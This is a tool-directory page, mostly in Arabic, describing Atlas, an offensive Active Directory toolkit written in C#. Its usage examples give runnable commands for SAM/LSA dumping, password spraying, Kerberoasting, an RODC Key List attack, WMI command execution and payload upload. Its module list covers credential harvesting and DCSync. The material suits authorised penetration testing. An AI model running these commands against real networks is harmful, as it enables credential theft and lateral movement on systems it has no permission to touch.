Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Atlas — أداة تنفيذ شبكي متعددة المنصات (SMB/Kerberos/WMI/LDAP/DCSync) مبنية على Titanis من TrustedSec - سير عمل بأسلوب NetExec بلغة C# | Kitploit
أدوات/GitHubGitHub/portbuster1337/atlas
الاستطلاعالاستغلالالحركة الجانبيةما بعد الاستغلالأمن الشبكاتاختبار الاختراقالفريق الأحمر
GitHubportbuster1337/atlas

Atlas

أداة تنفيذ شبكي متعددة المنصات (SMB/Kerberos/WMI/LDAP/DCSync) مبنية على Titanis من TrustedSec - سير عمل بأسلوب NetExec بلغة C#

عرض المستودع
83799منذ شهر واحدتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Atlas

Atlas هي مجموعة أدوات متعددة المنصات (Windows/Linux) لتنفيذ الشبكات وتقييم الأمن، مبنية فوق مكتبة بروتوكول TrustedSec's Titanis. وهي مستوحاة من سير عمل NetExec/CrackMapExec: قوائم الأهداف، ومجموعات بيانات الاعتماد، والتعداد المعياري، ومخرجات وحدة التحكم المدمجة [HH:mm:ss] [+] host - message.

هذه الأداة مخصصة لاختبار الأمن المصرح به. لا تستخدمها إلا ضد الأنظمة التي لديك إذن صريح باختبارها.

الميزات

البروتوكولالقدرات
smbفحص المصادقة (NTLM/Kerberos/مجهول)، المشاركات، المستخدمون، المجموعات، الأقراص، الجلسات عبر SRVS/SAMR؛ SAM/LSA عبر Remote Registry؛ عمليات الملفات عبر SMB2/3؛ --pass-pol/--rid-brute/--gen-relay-list/--generate-krb5-file/--generate-hosts-file/--generate-tgt؛ اللقطات/التدفقات/الملفات المفتوحة/بطاقات الشبكة؛ أعضاء المجموعات، البحث عن LSA SID/name، استعلام السجل، الخدمات، المستخدمون المسجلون، قائمة/إنهاء المهام، إكراه EFS؛ التنفيذ عبر wmiexec / smbexec / mmcexec (MMC DCOM)
kerberosتعداد المستخدمين، كشف pre-auth/AS-REP، Kerberoasting، هجوم Key List، تزوير التذاكر (golden/silver)، طلب TGT، تغيير كلمة المرور، S4U2Self/Proxy (-S4UserName)
wmiالمصادقة عبر DCOM/WMI، Win32_Process.Create (-x/-X) أو --wmi-query (WQL)، سرد مساحات الأسماء، سجل StdRegProv، استدعاء طريقة DCOM، سرد نقاط نهاية EPM
ldapالمصادقة عبر SASL/simple bind، الاستعلامات + الأعلام (--users/--trusted-for-delegation/--pass-pol/--get-sid إلخ)، --kerberoasting، عمليات الكتابة (-AddUser/-AddComputer/-Delete/-Modify/-SetPassword)، الوحدات، --bloodhound (-c) إلى BloodHound CE JSON+zip
dcsyncالنسخ المتماثل عبر [MS-DRSR] (DRSGetNCChanges): كائنات مفردة، مزامنة NC كاملة --ntds، الطوبولوجيا (-DcInfo/-ListDomains/-ListSites/-ListRoles/-ListPartitions/-ListGcs/-Neighbors/-CrackName)

يتبع نمط الأعلام NetExec حيثما أمكن (--shares، --users، --pass-pol، --rid-brute، --local-groups، -d للنطاق، -H للتجزئة، --kdcHost، -M/-o/-L للوحدات). تظل تهجئات Titanis بشرطة واحدة (-Shares، -ud، -NtlmHash) تعمل. ملاحظة: لا يمكن لـ -x/-X التعايش (غير حساس لحالة الأحرف)، لذا تنفيذ PowerShell هو -ps؛ -d هو النطاق في كل مكان بما في ذلك kerberos (يعود realm إليه).

الوحدات (74: 48 smb + 26 ldap؛ يسردها atlas <proto> -L)

الوحدةالبروتوكولالوصف
spidersmbزاحف مشاركات تعاودي (depth، maxfiles، match)
shareaccesssmbفحص صلاحية القراءة/الكتابة لكل مشاركة
localadminssmbالمسؤولون المحليون عبر SAMR
gpp_passwordsmbفك تشفير cpassword من Groups.xml وغيرها
gpp_autologinsmbبيانات اعتماد تسجيل الدخول التلقائي من Registry.xml
gpp_privilegessmbتعيينات الامتيازات من GptTmpl.inf
uac / wdigest / runasppl / install_elevatedsmbفحوصات السجل عبر winreg
spoolersmbحالة Print Spooler عبر SCM
keepass / rclone / winscp / mremoteng / vnc وغيرهاsmbأدوات البحث عن الملفات على المشاركات
ntlmv1 / reg-winlogon / hyperv-hostsmbLmCompatibilityLevel، تسجيل الدخول التلقائي في Winlogon، مضيف Hyper-V
remote-uac / rdp / shadowrdpsmbقراءة/كتابة UAC البعيد، RDP، تظليل RDP (ACTION=...)
reg-querysmbاستعلام/تعيين/حذف قيم السجل (PATH=...، KEY=...، VALUE=...، TYPE=...، DELETE=True)
enum_cvesmbفحص CVE حسب مستوى التصحيح من build + UBR
enum_avsmbAV/EDR عبر أسماء خدمات LSA + أنابيب IPC$
enum_dns / get_netconnections / bitlockersmbعبر WMI (root\MicrosoftDNS، إعدادات NIC، BitLocker)
putty / notepad / recent_files / recyclebin / snippedsmbجلسات PuTTY + .ppk، حالة تبويبات Notepad، ملفات LNK الأخيرة، سلة المحذوفات، لقطات الشاشة
lockscreendoorssmbثنائيات إمكانية الوصول المخترقة عبر FileDescription
drop-sc / drop-library-ms / scuffy / slinkysmbإسقاطات إغراء الإكراه + CLEANUP=True
webdav / smbghost / onelogon / sccm-recon6smbفحص WebClient، استكشاف SMBGhost، VulnerableChannelAllowList، استطلاع SCCM
wccsmbقائمة تدقيق الوضع الأمني في Windows (UAC/LSA/RDP/Defender/LAPS/NetBIOS/...)
change-passwordsmbتغيير كلمة المرور ذاتيًا عبر SAMR (USER=...، OLDPASS=...، NEWPASS=...)
maqldapms-DS-MachineAccountQuota
pre2kldapأجهزة ما قبل Windows 2000 (UAC 4128)
lapsldapكلمات مرور LAPS
adcsldapخدمات تسجيل AD CS
subnetsldapالمواقع/الشبكات الفرعية من Configuration NC
daclread / badsuccessor / certipy-find وغيرهاldapاستطلاع LDAP عبر Titanis
get-unixUserPassword / dns-nonsecureldapكلمات مرور Unix، مناطق DNS غير الآمنة
modify-group / add-computerldapعضوية المجموعات، دورة حياة الحاسوب (NAME=...، DELETE=True، ...)

مشتركة عبر جميع البروتوكولات:

  • تحديد الهدف: مضيف/عنوان IP واحد، CIDR، نطاقات (a.b.c.d-e)، قوائم مفصولة بفواصل، @file
  • مصفوفة مصادقة كاملة موروثة من Titanis: كلمات المرور، تجزئات NT، مفاتيح AES، keytabs، تذاكر .kirbi/.ccache، شهادات PKINIT، S4U، تجاوزات SPN، SOCKS5
  • توزيع متعدد المضيفين مع تزامن قابل للتكوين ومهلة لكل مضيف
  • مخرجات وحدة تحكم بنمط NetExec

المتطلبات

  • .NET SDK 9.0+ (بعض مشاريع Titanis المضمّنة تستخدم C# 13)
  • إمكانية الوصول الشبكي إلى الأهداف (445/TCP لـ SMB، 88/TCP لـ Kerberos، 389/TCP لـ LDAP، 135/TCP + منافذ RPC الديناميكية لـ WMI/DCSync)

البناء

يضم المستودع مصدر Titanis تحت external/Titanis ويبنيه كجزء من الحل.

git clone https://github.com/<your-account>/atlas.git
cd atlas
dotnet build Atlas.sln -p:NoWarn=CS1998

الملف التنفيذي الناتج هو تطبيق .NET يعتمد على إطار العمل:

dotnet src/Atlas.Cli/bin/Debug/net8.0/atlas.dll --help

الاستخدام

atlas <protocol> <targets> [authentication] [actions] [options]

يقبل تحديد الهدف أي مزيج من: HOST، 10.0.0.5، 192.168.1.0/24، 10.0.0.1-64، قوائم مفصولة بفواصل، أو @targets.txt.

SMB

# Credential check only
atlas smb 10.0.0.5 -u administrator -p 'Password1!'

# Enumeration
atlas smb 10.0.0.0/24 -u admin -p 'Password1!' -Shares -Users -Groups -Disks -Sessions

# SAM / LSA dumping (requires local admin)
atlas smb 10.0.0.5 -u admin -p 'Password1!' -Sam -Lsa

# File operations
atlas smb 10.0.0.5 -u admin -p pass -LsPath 'C$\Users'
atlas smb 10.0.0.5 -u admin -p pass -GetFile 'C$\Windows\win.ini'
atlas smb 10.0.0.5 -u admin -p pass -PutSource ./payload.bin -PutDest 'C$\Temp\payload.bin'

# Modules and flags
atlas smb 10.0.0.0/24 -u admin -p pass -M spider -mo 'depth=3,maxfiles=50,match=.conf'
atlas smb 10.0.0.0/24 -u admin -p pass -M shareaccess -M gpp_password
atlas smb 10.0.0.5 -u admin -p pass -M localadmins -M uac

# Flags (NetExec-like)
atlas smb 10.0.0.5 -u admin -p pass --pass-pol --rid-brute 2000
atlas smb 10.0.0.5 --Anonymous --gen-relay-list relay.txt --generate-krb5-file krb5.conf

# Password spray
atlas smb 10.0.0.0/24 -UserList users.txt -PassList 'Password1!,Summer2024!'

Kerberos

# User enumeration (no credentials required)
atlas kerberos dc01.corp.local -d CORP.LOCAL -UserList users.txt

# Kerberoasting (requires any domain credential)
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p 'Password1!'
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p pass -SpnList 'MSSQLSvc/sql01.corp.local:1433'

# Key List attack against an RODC
atlas kerberos rodc01.corp.local -d CORP.LOCAL -rodcNo 20000 -rodcKey <aes256-hex> -UserList 'jdoe:1104'

WMI

atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass           # auth check
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass -x whoami # exec

LDAP

# SASL (NTLM/Kerberos) bind - typical against Active Directory
atlas ldap dc01.corp.local -d CORP.LOCAL -u user -p pass -Query '(adminCount=1)' -Attrs sAMAccountName
تنزيل الأداة